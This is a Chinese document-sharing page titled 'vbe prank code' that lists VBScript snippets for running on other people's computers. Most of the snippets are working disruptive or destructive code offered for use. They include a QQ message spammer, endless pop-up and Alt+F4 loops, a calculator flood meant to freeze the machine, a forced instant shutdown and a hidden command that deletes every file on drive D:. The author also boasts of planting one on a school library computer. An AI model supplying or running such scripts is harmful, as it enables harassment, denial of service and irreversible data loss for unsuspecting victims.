vbe整人代码

【#文档大全网# 导语】以下是®文档大全网的小编为您整理的《vbe整人代码》，欢迎阅读！

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 注：要让相同的行列连接

xx.vbs=>

=--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye

set wsh=createobject("wscript.shell") for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next

wscript.quit

----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。



二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------ do

msgbox "You are foolish!" loop



------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell") do

wsh.run "calc" loop

-----------------------------------------------------------------------------

四、直接关机

----------------------------------------------------------------------------- dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true


----------------------------------------------------------------------------- 五、删除D:\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

---------------------------------------------------------------------------- 六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "哈哈 你被耍了！" loop

---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") while(1)

WSHshell.SendKeys "%{F4}" loop

---------------------------------------------------------------------------

八、按500次回车



(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

-----------------------------------------------------------------------------

dim s

do until s=500 s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

'------------------------ ------------------------------------------------------------



九、关不掉的窗口

------------------------------------------------------------------------------------


WScript.Echo("嘿，谢谢你打开我哦，我等你很久

拉！"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

本文来源：https://www.wddqxz.cn/e49c013f580216fc700afd26.html